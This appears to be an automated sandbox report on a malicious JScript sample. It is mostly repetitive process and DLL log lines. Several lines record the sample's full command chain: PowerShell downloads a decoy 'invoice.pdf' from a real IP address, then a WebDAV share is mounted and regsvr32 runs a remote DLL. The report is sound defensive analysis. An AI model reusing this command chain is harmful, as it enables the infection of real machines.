Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7138.js.csv");ITextStream.WriteLine(" entry:8303 f:kzylya");ITextStream.WriteLine(" exec:2 f:kzylya");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49731 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49731

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5044			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4841			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep count: 5044 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7664	Thread sleep count: 4841 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7728	Thread sleep time: -8301034833169293s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7752	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 7928	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7272	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000003.1712049780.000002E2B62CC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Saved Searchm&Ven_NECVMWar&Prod_VMware_SATA
Source: net.exe, 00000006.00000002.1763374210.000002D593478000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWP
Source: net.exe, 00000006.00000003.1762196046.000002D5934D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000003.1760208760.000002D5934D7000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000006.00000002.1763864542.000002D5934D7000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3010636262.0000022E5E65B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000008.00000002.3009610662.0000022E5902B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\80111248727527.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
